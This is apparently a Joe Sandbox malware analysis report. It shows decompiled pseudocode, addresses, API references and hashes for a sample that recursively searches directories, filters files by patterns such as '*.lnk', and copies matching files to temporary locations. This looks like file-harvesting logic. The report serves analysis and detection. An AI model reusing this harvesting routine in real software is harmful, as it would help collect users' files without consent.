					_t114 =  *((intOrPtr*)( *0xa4e090))(_t195);
					_t201 = 0x5c;
					__eflags =  *((intOrPtr*)(_t195 + _t114 * 2 - 2)) - _t201;
					_t202 = _t195;
					if( *((intOrPtr*)(_t195 + _t114 * 2 - 2)) == _t201) {
						_push( *0xa4ebbc);
						_v16 = 1;
					} else {
						_push( *0xa4e1c4);
					}
					E00A4189A(_t195, _t202, 0x104, _t259);
					_t117 =  *((intOrPtr*)( *0xa4e01c))(_t195,  &_v664);
					_v36 = _t117;
					__eflags = _t117 - 0xffffffff;
					if(_t117 != 0xffffffff) {
						_t260 = _v36;
						_t196 = _v16;
						do {
							__eflags = _v664 & 0x00000010;
							if((_v664 & 0x00000010) == 0) {
								_t119 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x410);
								_t120 =  *((intOrPtr*)( *0xa4e13c))(_t119, _a4);
								__eflags = _t196;
								if(_t196 == 0) {
									_t233 =  *0xa4ea50; // 0x796258
									_t120 = E00A4A5DB(_t120, _t233);
								}
								_t232 =  &_v620;
								_t121 = E00A4A5DB(_t120, _t232);
								_t261 = _v636;
								_t251 = _v632;
								__eflags = _a24;
								_v12 = _t121;
								if(_a24 == 0) {
									_t122 = 0;
									__eflags = 0;
								} else {
									_t232 = L"*.lnk";
									_t122 = E00A4A834( &_v620, _t232);
								}
								__eflags = _v12;
								_v28 = _t122;
								if(_v12 == 0) {
									L52:
									LocalFree(_v12);
									goto L53;
								} else {
									_t135 = _a28;
									_t252 = (_t261 << 0x00000020 | _t251) >> 0xa;
									asm("cdq");
									__eflags = _t261 >> 0xa - _t232;
									if(__eflags > 0) {
										goto L52;
									}
									if(__eflags < 0) {
										L23:
										_t136 = E00A4A834( &_v620, _a12);
										__eflags = _t136;
										if(_t136 == 0) {
											L25:
											_t253 = _v28;
											__eflags = _t253;
											if(_t253 == 0) {
												goto L52;
											}
											L28:
											_t138 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x618);
											_t140 = E00A4A5DB( *((intOrPtr*)( *0xa4e13c))(_t138,  *0xa4e1ac), _v40);
											_t239 =  *0xa4e1ac; // 0x796058
											_v20 = E00A4A5DB(E00A4A5DB(_t140, _t239), _v44);
											__eflags = _t253;
											if(_t253 == 0) {
												_t264 = 0;
												__eflags = 0;
											} else {
												_t264 = E00A48E5E(_v12);
											}
											_t144 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x618);
											_v16 = _t144;
											_v32 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x410);
											__eflags = _t253;
											if(_t253 != 0) {
												_t186 =  *((intOrPtr*)( *0xa4e090))(_t264);
												__eflags = _t186 - 4;
												if(_t186 > 4) {
													_t189 =  *((intOrPtr*)( *0xa4e0e4))(_t264, 0, 0x5c) + 2;
													__eflags = _t189;
													StrCpyW(_v32, _t189);
												}
											}
											_t148 =  *((intOrPtr*)( *0xa4e090))(_a8);
											__eflags = _t253;
											_t150 =  !=  ? _v32 : 0;
											_t151 = E00A4A383(_v12 + _t148 * 2,  &_v16,  !=  ? _v32 : 0);
											__eflags = _t151;
											if(_t151 == 0) {
												L51:
												LocalFree(_v32);
												LocalFree(_v16);
												LocalFree(_v20);
												goto L52;
											} else {
												_t218 = _v20;
												_v20 = E00A4A5DB(_v20, _v16);
												__eflags = _t253;
												if(_t253 == 0) {
													_t254 = _v12;
													L41:
													_v24 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
													_t158 = E00A4A7C4(_t218,  &_v24);
													_t265 = _v24;
													__eflags = _t158;
													if(_t158 == 0) {
														L50:
														DeleteFileW(_t265);
														LocalFree(_t265);
														goto L51;
													}
													_t162 =  *((intOrPtr*)( *0xa4e178))(_t254, _t265, 0);
													__eflags = _t162;
													if(_t162 == 0) {
														goto L50;
													}
													_t255 =  *((intOrPtr*)( *0xa4e040))(_t265, 0x80000000, 1, 0, 4, 0, 0);
													 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _v20, 0xffffffff, 0, 0, 0, 0);
													_v48 = 0;
													_t167 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x30c);
													_t245 = _v48;
													_v24 = 0;
													__eflags = _t245;
													if(_t245 == 0) {
														L49:
														LocalFree(_t167);
														CloseHandle(_t255);
														goto L50;
													}
													 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _v20, 0xffffffff, 0, _t245, 0, 0);
													__eflags = 0;
													if(0 == 0) {
														L48:
														_t167 = _v24;
														goto L49;
													}
													__eflags = _v28;
													if(_v28 == 0) {
														L47:
														_t223 = _a36;
														_v56 = _v56 & 0x00000000;
														_v68 = _v24;
														_v64 = _t255;
														_v60 = _t265;
														 *_t223 =  *_a36 + 1;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														goto L51;
													}
													_t175 =  *((intOrPtr*)( *0xa4e148))(_t255, 0);
													__eflags = _t175 >> 0xa - _a28;
													if(_t175 >> 0xa >= _a28) {
														goto L48;
													}
													goto L47;
												}
												_t177 = E00A4A834(_t264, _a12);
												__eflags = _t177;
												if(_t177 == 0) {
													L39:
													LocalFree(_v32);
													LocalFree(_v12);
													LocalFree(_v20);
													LocalFree(_v16);
													LocalFree(_t264);
													L53:
													_t249 = _a44;
													L54:
													_t260 = _v36;
													goto L55;
												}
												_t218 = _t264;
												_t182 = E00A4A834(_t264, _a16);
												__eflags = _t182;
												if(_t182 != 0) {
													goto L39;
												}
												_t254 =  *((intOrPtr*)( *0xa4e13c))(_v12, _t264);
												_v12 = _t254;
												LocalFree(_t264);
												goto L41;
											}
										}
										_t192 = E00A4A834( &_v620, _a16);
										__eflags = _t192;
										if(_t192 == 0) {
											_t253 = _v28;
											goto L28;
										}
										goto L25;
									}
									__eflags = _t252 - _t135;
									if(_t252 >= _t135) {
										goto L52;
									}
									goto L23;
								}
							}
							__eflags = _v620 - 0x2e;
							if(_v620 == 0x2e) {
								goto L55;
							}
							__eflags = _a20;
							if(_a20 == 0) {
								goto L55;
							}
							_t127 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x410);
							_t262 =  *((intOrPtr*)( *0xa4e008))(_t127, _a4,  &_v620);
							_t129 = E00A4A834( &_v620, _a16);
							__eflags = _t129;
							if(_t129 == 0) {
								_t26 = _t249 + 1; // 0x1
								E00A45870(_v40, _v44, _t262, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _t26);
								_t267 = _t267 + 0x2c;
							}
							LocalFree(_t262);
							goto L54;
							L55:
							_t125 =  *((intOrPtr*)( *0xa4e144))(_t260,  &_v664);
							__eflags = _t125;
						} while (_t125 != 0);
						LocalFree(_v52);
						FindClose(_t260);
						goto L57;
					} else {
						LocalFree(_t195);
						L57:
						__eflags = 0;
						return 0;
					}
				}
				_t194 = 2;
				return _t194;
			}

0x00a4587c
0x00a4587f
0x00a45882
0x00a45888
0x00a45897
0x00a458a2
0x00a458b6
0x00a458b9
0x00a458bc
0x00a458c0
0x00a458c6
0x00a458cb
0x00a458cd
0x00a458d7
0x00a458dd
0x00a458cf
0x00a458cf
0x00a458cf
0x00a458e4
0x00a458f6
0x00a458f8
0x00a458fb
0x00a458fe
0x00a4590c
0x00a4590f
0x00a45912
0x00a45912
0x00a45919
0x00a459b2
0x00a459be
0x00a459c0
0x00a459c2
0x00a459c4
0x00a459cc
0x00a459cc
0x00a459d1
0x00a459d9
0x00a459de
0x00a459e6
0x00a459ec
0x00a459f0
0x00a459f3
0x00a45a07
0x00a45a07
0x00a459f5
0x00a459f5
0x00a45a00
0x00a45a00
0x00a45a09
0x00a45a0d
0x00a45a10
0x00a45cc2
0x00a45cc5
0x00000000
0x00a45a16
0x00a45a16
0x00a45a19
0x00a45a1d
0x00a45a21
0x00a45a23
0x00000000
0x00000000
0x00a45a29
0x00a45a33
0x00a45a3c
0x00a45a41
0x00a45a43
0x00a45a57
0x00a45a57
0x00a45a5a
0x00a45a5c
0x00000000
0x00000000
0x00a45a67
0x00a45a73
0x00a45a89
0x00a45a8e
0x00a45aa5
0x00a45aa8
0x00a45aaa
0x00a45ab8
0x00a45ab8
0x00a45aac
0x00a45ab4
0x00a45ab4
0x00a45ac6
0x00a45acd
0x00a45ad9
0x00a45adc
0x00a45ade
0x00a45ae7
0x00a45ae9
0x00a45aec
0x00a45afa
0x00a45afa
0x00a45b01
0x00a45b01
0x00a45aec
0x00a45b0f
0x00a45b19
0x00a45b1e
0x00a45b23
0x00a45b29
0x00a45b2b
0x00a45ca7
0x00a45caa
0x00a45cb3
0x00a45cbc
0x00000000
0x00a45b31
0x00a45b34
0x00a45b3c
0x00a45b3f
0x00a45b41
0x00a45ba2
0x00a45ba5
0x00a45bb6
0x00a45bb9
0x00a45bbe
0x00a45bc1
0x00a45bc3
0x00a45c99
0x00a45c9a
0x00a45ca1
0x00000000
0x00a45ca1
0x00a45bd2
0x00a45bd4
0x00a45bd6
0x00000000
0x00000000
0x00a45bf8
0x00a45c0b
0x00a45c1a
0x00a45c1d
0x00a45c1f
0x00a45c22
0x00a45c25
0x00a45c27
0x00a45c8b
0x00a45c8c
0x00a45c93
0x00000000
0x00a45c93
0x00a45c41
0x00a45c43
0x00a45c45
0x00a45c88
0x00a45c88
0x00000000
0x00a45c88
0x00a45c47
0x00a45c4b
0x00a45c5f
0x00a45c5f
0x00a45c65
0x00a45c69
0x00a45c6e
0x00a45c7a
0x00a45c80
0x00a45c82
0x00a45c83
0x00a45c84
0x00a45c85
0x00000000
0x00a45c85
0x00a45c55
0x00a45c5a
0x00a45c5d
0x00000000
0x00000000
0x00000000
0x00a45c5d
0x00a45b48
0x00a45b4d
0x00a45b4f
0x00a45b78
0x00a45b7b
0x00a45b84
0x00a45b8d
0x00a45b96
0x00a45cc5
0x00a45cc5
0x00a45ccb
0x00a45cce
0x00a45cce
0x00000000
0x00a45cce
0x00a45b54
0x00a45b56
0x00a45b5b
0x00a45b5d
0x00000000
0x00000000
0x00a45b6a
0x00a45b6d
0x00a45b70
0x00000000
0x00a45b70
0x00a45b2b
0x00a45a4e
0x00a45a53
0x00a45a55
0x00a45a64
0x00000000
0x00a45a64
0x00000000
0x00a45a55
0x00a45a2b
0x00a45a2d
0x00000000
0x00000000
0x00000000
0x00a45a2d
0x00a45a10
0x00a4591f
0x00a45927
0x00000000
0x00000000
0x00a4592d
0x00a45931
0x00000000
0x00000000
0x00a45943
0x00a45961
0x00a45963
0x00a45968
0x00a4596a
0x00a4596c
0x00a45992
0x00a45997
0x00a45997
0x00a4599b
0x00000000
0x00a45cd1
0x00a45cde
0x00a45ce0
0x00a45ce0
0x00a45cec
0x00a45cf3
0x00000000
0x00a45900
0x00a45901
0x00a45cf9
0x00a45cf9
0x00000000
0x00a45cf9
0x00a458fe
0x00a4588c
0x00000000

APIs

LocalFree.KERNEL32(00000000), ref: 00A45901

Strings

., xrefs: 00A4591F
X`y, xrefs: 00A45A8E
*.lnk, xrefs: 00A459F5
Xby, xrefs: 00A459C4

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal
String ID: *.lnk$.$X`y$Xby
API String ID: 2826327444-3059850023
Opcode ID: adcb575a6af329523490b0ad5a67a0d0eec98837e99e0579e197a3d30d7aeff1
Instruction ID: 3f71dcc92dd17c8943b6b593335ee982fca7d712a95080e37fe2dd2e9be6559c
Opcode Fuzzy Hash: adcb575a6af329523490b0ad5a67a0d0eec98837e99e0579e197a3d30d7aeff1
Instruction Fuzzy Hash: 8DD18A39A4060AEBDB14DFE4DC88AAE77B1FFC9300F104154FA15A72A1DB769D42CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A4643A Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 321stringCOMMON

Download Yara Rule

APIs

StrCpyW.SHLWAPI(00000000,00000000), ref: 00A46464

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 00A464CE
lstrlenW.KERNEL32 ref: 00A465AA
lstrlenW.KERNEL32(00000010), ref: 00A465B5

Strings

y, xrefs: 00A46689
., xrefs: 00A464A4
Xy, xrefs: 00A46634

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: lstrlen$CombineFreeGlobalPath
String ID: y$.$Xy
API String ID: 1001358258-591164101
Opcode ID: 2038fbb3bc3742bc48c127827efa7907d92d38e297a359509a8f6296d4f8cc44
Instruction ID: dd51e8ef2ae82746de8e76aa52f32614b77a327022baf6c66264236e775d3ccb
Opcode Fuzzy Hash: 2038fbb3bc3742bc48c127827efa7907d92d38e297a359509a8f6296d4f8cc44
Instruction Fuzzy Hash: 15C17C7DE40209AFDB04DFE4DD84AAEBBB5FBCA310F104419E915A7290DB756D02CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A4B29D Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 275
fileCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00A4B29D(void* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr* _a20) {
				char _v576;
				char _v584;
				char _v616;
				signed char _v620;
				intOrPtr _v632;
				intOrPtr _v640;
				void* _v648;
				void* _v668;
				void* _v672;
				intOrPtr _v692;
				void* _v696;
				WCHAR* _v704;
				void* _v724;
				void* _v740;
				intOrPtr _v756;
				intOrPtr _v768;
				char _v772;
				intOrPtr _v780;
				intOrPtr _v788;
				intOrPtr _v796;
				signed int _v808;
				void* _v812;
				void* _v820;
				void* _v824;
				void* _v828;
				void* _v832;
				void* _v836;
				void* _v844;
				void* __ebx;
				void* __esi;
				void* _t66;
				void* _t70;
				void* _t78;
				void* _t86;
				void* _t89;
				void* _t96;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t102;
				intOrPtr _t103;
				void* _t116;
				void* _t117;
				void* _t127;
				intOrPtr _t128;
				void* _t130;
				WCHAR* _t132;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t177;
				void* _t182;
				intOrPtr _t183;
				void* _t185;
				void* _t189;
				signed int _t190;
				void* _t192;
				void* _t194;
				signed int _t196;
				void* _t198;

				_t198 = (_t196 & 0xfffffff8) - 0x28c;
				_t183 = __edx;
				_t190 = __ecx;
				_v640 = __edx;
				_v648 = __ecx;
				_t66 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a, _t182, _t189, _t127);
				_t128 =  *((intOrPtr*)( *0xa4e13c))(_t66, _a4);
				_v632 = _t128;
				E00A4189A(_t128, _t128, 0x104, __ecx,  *0xa4e1c4);
				_t70 =  *((intOrPtr*)( *0xa4e01c))(_t128,  &_v616);
				_v672 = _t70;
				if(_t70 == 0xffffffff) {
					L21:
					return 0;
				}
				_t130 = _t70;
				do {
					if((_v620 & 0x00000010) == 0) {
						if(E00A4A834( &_v576, _a8) == 0 || E00A4A834( &_v576, _a12) != 0) {
							goto L19;
						} else {
							_t86 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
							_t185 =  *((intOrPtr*)( *0xa4e008))(_t86, _a4,  &_v584);
							_v668 = _t185;
							_v704 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
							_t89 = E00A4A7C4( *0xa4e048,  &_v704);
							_t132 = _v704;
							if(_t89 == 0) {
								L17:
								LocalFree(_t132);
								LocalFree(_t185);
								DeleteFileW(_t132);
								L18:
								_t130 = _v696;
								_t183 = _v692;
								goto L19;
							}
							_push(0);
							_push(_t132);
							_push(_t185);
							if( *((intOrPtr*)( *0xa4e178))() == 0) {
								goto L17;
							}
							_t96 =  *((intOrPtr*)( *0xa4e040))(_t132, 0x80000000, 1, 0, 4, 0, 0);
							_v724 = _t96;
							GetFileSize(_t96, 0);
							_t98 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x618);
							_t99 =  *((intOrPtr*)( *0xa4e13c))(_t98,  *0xa4e1ac);
							_t172 =  *0xa4e1a8; // 0x79e580
							_t100 = E00A4A5DB(_t99, _t172);
							_t173 =  *0xa4e1ac; // 0x796058
							_t102 = E00A4A5DB(E00A4A5DB(_t100, _t173), _t190);
							_t103 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x618);
							_v768 = _t103;
							E00A4A383(_t185 +  *((intOrPtr*)( *0xa4e090))(0) * 2,  &_v772, _v756);
							_t194 = E00A4A5DB(_t102, _v772);
							_v740 = _t194;
							 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t194, 0xffffffff, 0, 0, 0, 0);
							_v780 = 0;
							 *((intOrPtr*)( *0xa4e048))(0x40, 0x144);
							_t177 = _v788;
							_v796 = 0;
							if(_t177 == 0) {
								L16:
								LocalFree(_t132);
								LocalFree(_t194);
								LocalFree(_v812);
								LocalFree(_t185);
								L14:
								_t190 = _v808;
								goto L18;
							}
							 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t194, 0xffffffff, 0, _t177, 0, 0);
							if(0 != 0) {
								_t116 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
								_v812 = _v836;
								_v808 = _v832;
								_t117 =  *((intOrPtr*)( *0xa4e13c))(_t116, _t132);
								_t160 = _a20;
								_v808 = _v808 & 0x00000000;
								_v812 = _t117;
								 *_t160 =  *_a20 + 1;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t185 = _v832;
								_t194 = _v828;
								goto L16;
							}
							LocalFree(_t194);
							LocalFree(_v828);
							LocalFree(_v844);
							LocalFree(_t132);
							LocalFree(_t185);
							CloseHandle(_v824);
							DeleteFileW(_t132);
							goto L14;
						}
					}
					if(_v576 != 0x2e && E00A4A834( &_v576, _a8) != 0 && E00A4A834( &_v576, _a12) == 0) {
						_t78 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
						_t192 =  *((intOrPtr*)( *0xa4e008))(_t78, _a4,  &_v584);
						E00A4B29D(_v692, _t183, _t192, _a8, _a12, _a16, _a20);
						_t198 = _t198 + 0x14;
						LocalFree(_t192);
						_t190 = _v692;
					}
					L19:
					_push( &_v620);
					_push(_t130);
				} while ( *((intOrPtr*)( *0xa4e144))() != 0);
				LocalFree(_v648);
				FindClose(_t130);
				goto L21;
			}

0x00a4b2a3
0x00a4b2b6
0x00a4b2b8
0x00a4b2bc
0x00a4b2c0
0x00a4b2c4
0x00a4b2d8
0x00a4b2e1
0x00a4b2e5
0x00a4b2f6
0x00a4b2f8
0x00a4b2ff
0x00a4b60c
0x00a4b614
0x00a4b614
0x00a4b305
0x00a4b307
0x00a4b30c
0x00a4b3a0
0x00000000
0x00a4b3ba
0x00a4b3c7
0x00a4b3e0
0x00a4b3e5
0x00a4b3ef
0x00a4b3f3
0x00a4b3f8
0x00a4b3fe
0x00a4b5c9
0x00a4b5ca
0x00a4b5d1
0x00a4b5d8
0x00a4b5de
0x00a4b5de
0x00a4b5e2
0x00000000
0x00a4b5e2
0x00a4b409
0x00a4b40b
0x00a4b40c
0x00a4b411
0x00000000
0x00000000
0x00a4b42b
0x00a4b430
0x00a4b434
0x00a4b447
0x00a4b456
0x00a4b458
0x00a4b460
0x00a4b465
0x00a4b476
0x00a4b48a
0x00a4b498
0x00a4b4a5
0x00a4b4bc
0x00a4b4c0
0x00a4b4d1
0x00a4b4e0
0x00a4b4e4
0x00a4b4e6
0x00a4b4ea
0x00a4b4f0
0x00a4b5a8
0x00a4b5a9
0x00a4b5b0
0x00a4b5ba
0x00a4b5c1
0x00a4b54e
0x00a4b54e
0x00000000
0x00a4b54e
0x00a4b50c
0x00a4b510
0x00a4b563
0x00a4b570
0x00a4b579
0x00a4b57d
0x00a4b57f
0x00a4b586
0x00a4b58b
0x00a4b59a
0x00a4b59c
0x00a4b59d
0x00a4b59e
0x00a4b59f
0x00a4b5a0
0x00a4b5a4
0x00000000
0x00a4b5a4
0x00a4b513
0x00a4b51e
0x00a4b528
0x00a4b52f
0x00a4b536
0x00a4b541
0x00a4b548
0x00000000
0x00a4b548
0x00a4b3a0
0x00a4b318
0x00a4b352
0x00a4b36c
0x00a4b37a
0x00a4b37f
0x00a4b383
0x00a4b389
0x00a4b389
0x00a4b5e6
0x00a4b5ef
0x00a4b5f0
0x00a4b5f3
0x00a4b5ff
0x00a4b606
0x00000000

APIs

GetFileSize.KERNEL32(00000000,00000000), ref: 00A4B434
LocalFree.KERNEL32(00000000), ref: 00A4B513
LocalFree.KERNEL32(?), ref: 00A4B51E
LocalFree.KERNEL32(?), ref: 00A4B528
LocalFree.KERNEL32(?), ref: 00A4B52F
LocalFree.KERNEL32(00000000), ref: 00A4B536
CloseHandle.KERNEL32(?), ref: 00A4B541
DeleteFileW.KERNEL32(?), ref: 00A4B548
LocalFree.KERNEL32(?), ref: 00A4B5A9
LocalFree.KERNEL32(00000000), ref: 00A4B5B0
LocalFree.KERNEL32(?), ref: 00A4B5BA
LocalFree.KERNEL32(00000000), ref: 00A4B5C1
LocalFree.KERNEL32(?), ref: 00A4B5CA
LocalFree.KERNEL32(00000000), ref: 00A4B5D1
DeleteFileW.KERNEL32(?), ref: 00A4B5D8
LocalFree.KERNEL32(?), ref: 00A4B5FF
FindClose.KERNEL32(00000000), ref: 00A4B606

Part of subcall function 00A4A834: LocalAlloc.KERNEL32(00000040,00000000), ref: 00A4A867
Part of subcall function 00A4A834: LocalFree.KERNEL32(?), ref: 00A4A8E8

Part of subcall function 00A4B29D: LocalFree.KERNEL32(00000000), ref: 00A4B383

Strings

X`y, xrefs: 00A4B465
., xrefs: 00A4B312

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Local$Free$File$CloseDelete$AllocFindHandleSize
String ID: .$X`y
API String ID: 3415656112-3104342822
Opcode ID: 5226811dbba82aa452df766241b8cc4a195349a9bdd890bb85406511e03ec0bc
Instruction ID: dc45e8e5305897316f6b5966907febe1b28075d1c25694ae16ca942fc4b8cbbe
Opcode Fuzzy Hash: 5226811dbba82aa452df766241b8cc4a195349a9bdd890bb85406511e03ec0bc
Instruction Fuzzy Hash: ADA18D7D244301AFE714DFA4DD89E6A77A9FBC9700F104908FA25972A0DBB5DC02CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A43C9D Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 255
memoryCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00A43C9D(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a12) {
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v36;
				void* _v40;
				void* _v44;
				intOrPtr _v48;
				char _v596;
				signed int _v640;
				void* _t60;
				void* _t62;
				void* _t63;
				void* _t66;
				void* _t70;
				signed int _t77;
				signed int _t86;
				signed int _t91;
				void* _t93;
				void* _t94;
				void* _t96;
				void* _t97;
				signed int _t101;
				signed int _t103;
				void* _t105;
				void* _t107;
				void* _t109;
				void* _t111;
				signed int _t123;
				void* _t124;
				void* _t125;
				void* _t127;
				signed int _t160;
				intOrPtr _t173;
				void* _t181;
				void* _t186;
				signed int _t189;
				void* _t191;
				void* _t192;
				void* _t193;
				void* _t194;

				_v36 = __edx;
				_v28 = __ecx;
				_t60 =  *((intOrPtr*)( *0xa4e180))(__ecx,  *0xa4e19c);
				while(1) {
					_t124 = _t60;
					if(_t124 == 0) {
						break;
					}
					_t125 = _t124 + 8;
					_t62 =  *((intOrPtr*)( *0xa4e180))(_t125,  *0xa4e1e4);
					_t3 = _t62 + 2; // 0x2
					_t63 =  *((intOrPtr*)( *0xa4e180))(_t3,  *0xa4e1dc);
					_v24 = _t63;
					_t66 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_v28) + _t64);
					_v12 = _t66;
					_t70 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_v28) + _t68);
					_v16 = _t70;
					_t186 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_v28) + _t71);
					_v20 = _t186;
					_v32 = _v24 - _t125 >> 1;
					_t77 = E00A4A4BC(_t125,  &_v12, _t3 - _t125 >> 1, _v24 - _t125 >> 1);
					__eflags = _t77;
					if(_t77 == 0) {
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_t186);
						L16:
						L17:
						return 1;
					}
					_t181 =  *((intOrPtr*)( *0xa4e180))(_v24 + 2,  *0xa4e1dc);
					_t189 = _t181 - _t125 >> 1;
					_t86 = E00A4A4BC(_t125,  &_v16, _v32 + 1, _t189);
					__eflags = _t86;
					if(_t86 == 0) {
						L14:
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						goto L16;
					}
					_t17 = _t181 + 2; // 0x2
					_v48 =  *((intOrPtr*)( *0xa4e180))(_t17,  *0xa4e21c);
					_t20 = _t189 + 1; // 0x1
					_t91 = E00A4A4BC(_t125,  &_v20, _t20, _t90 - _t125 >> 1);
					__eflags = _t91;
					if(_t91 == 0) {
						goto L14;
					}
					_t93 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
					_t94 =  *((intOrPtr*)( *0xa4e008))(_t93, _a12, _v20);
					_v24 = _t94;
					_t96 = E00A4A5DB( *((intOrPtr*)( *0xa4e048))(0x40, 0x208), _t94);
					_t173 =  *0xa4e1c4; // 0x796018
					_t97 = E00A4A5DB(_t96, _t173);
					_v44 = _t97;
					_t127 =  *((intOrPtr*)( *0xa4e01c))(_t97,  &_v640);
					_v40 = _t127;
					__eflags = _t127 - 0xffffffff;
					if(_t127 == 0xffffffff) {
						return 0;
					} else {
						goto L5;
					}
					do {
						L5:
						__eflags = _v640 & 0x00000010;
						if((_v640 & 0x00000010) != 0) {
							__eflags = _v596 - 0x2e;
							if(_v596 != 0x2e) {
								_t103 =  *((intOrPtr*)( *0xa4e180))( &_v596, _v12);
								__eflags = _t103;
								if(_t103 != 0) {
									_t105 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
									_t191 =  *((intOrPtr*)( *0xa4e13c))(_t105, _a12);
									_v32 = _t191;
									_t107 =  *((intOrPtr*)( *0xa4e0e4))(_t191, 0, 0x5c);
									_t35 = _t107 + 2; // 0x2
									_t160 = _t35 - _t191;
									__eflags = _t160;
									 *((short*)(_t191 + (_t160 >> 1) * 2 - 0x16)) = 0;
									_t109 =  *((intOrPtr*)( *0xa4e0e4))(_t191, 0, 0x5c);
									_t39 = _t109 + 2; // 0x2
									 *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
									_t192 = _v24;
									_t111 = E00A4A5DB(0, _t192);
									_t193 =  *((intOrPtr*)( *0xa4e008))(_t111, _t192,  &_v596);
									E00A439E5(_t193, _v16, __eflags, _t39, _t35, _v36, _a4);
									_t194 = _t194 + 0x10;
									LocalFree(_t193);
									LocalFree(_v32);
									_t127 = _v40;
								}
							}
						}
						_t101 =  *((intOrPtr*)( *0xa4e144))(_t127,  &_v640);
						__eflags = _t101;
					} while (_t101 != 0);
					FindClose(_t127);
					LocalFree(_v12);
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					LocalFree(_v44);
					_t123 = _v48 + 2;
					__eflags = _t123;
					_t60 =  *((intOrPtr*)( *0xa4e180))(_t123,  *0xa4e19c);
				}
				goto L17;
			}

0x00a43cb4
0x00a43cb8
0x00a43cbb
0x00a43f63
0x00a43f63
0x00a43f67
0x00000000
0x00000000
0x00a43ccd
0x00a43cd1
0x00a43cdf
0x00a43ce3
0x00a43cf4
0x00a43cfe
0x00a43d09
0x00a43d18
0x00a43d29
0x00a43d35
0x00a43d49
0x00a43d4c
0x00a43d4f
0x00a43d56
0x00a43d58
0x00a43f8d
0x00a43f96
0x00a43f9d
0x00a43f9d
0x00a43fa3
0x00000000
0x00a43fa5
0x00a43d79
0x00a43d7f
